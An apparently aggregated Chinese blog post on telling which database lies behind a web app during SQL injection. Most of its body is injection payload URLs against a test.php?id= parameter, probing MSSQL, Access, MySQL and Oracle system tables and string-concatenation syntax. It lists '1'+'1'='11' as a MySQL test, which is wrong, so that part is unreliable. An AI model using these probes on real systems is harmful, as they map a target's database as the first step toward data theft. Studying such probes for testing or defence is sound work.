sql注入过程中后台数据库类型的三种判断方式

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入过程中后台数据库类型的三种判断方式相关的知识,希望对你有一定的参考价值。

后台数据库类型判断:

一、通过页面返回的报错信息,一般情况下页面报错会显示是什么数据库类型,在此不多说;

二、通过各个数据库特有的数据表来判断:

    1、mssql数据库

      http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1

    2、access数据库

      http://127.0.0.1/test.php?id=1 and (select count(*) from msysobjects)>0 and 1=1

    3、mysql数据库(mysql版本在5.0以上)

      http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1

    4、oracle数据库

      http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1

三、通过各数据库特有的连接符判断数据库类型:

    1、mssql数据库

     http://127.0.0.1/test.php?id=1 and ‘1‘ + ‘1‘ = ‘11‘

    2、mysql数据库

     http://127.0.0.1/test.php?id=1 and ‘1‘ + ‘1‘ = ‘11‘

     http://127.0.0.1/test.php?id=1 and CONCAT(‘1‘,‘1‘)=‘11‘

    3、oracle数据库

     http://127.0.0.1/test.php?id=1 and ‘1‘||‘1‘=‘11‘

     http://127.0.0.1/test.php?id=1 and CONCAT(‘1‘,‘1‘)=‘11‘

以上是关于sql注入过程中后台数据库类型的三种判断方式的主要内容,如果未能解决你的问题,请参考以下文章

Web安全漏洞原理及防御

YbSoftwareFactory 代码生成插件二十五:Razor视图中以全局方式调用后台方法输出页面代码的三种方法

防SQL注入

web开发中防止SQL注入

防止sql注入

后台将数据传回前台的三种绑定的方式(Model,Map.ModelAndView)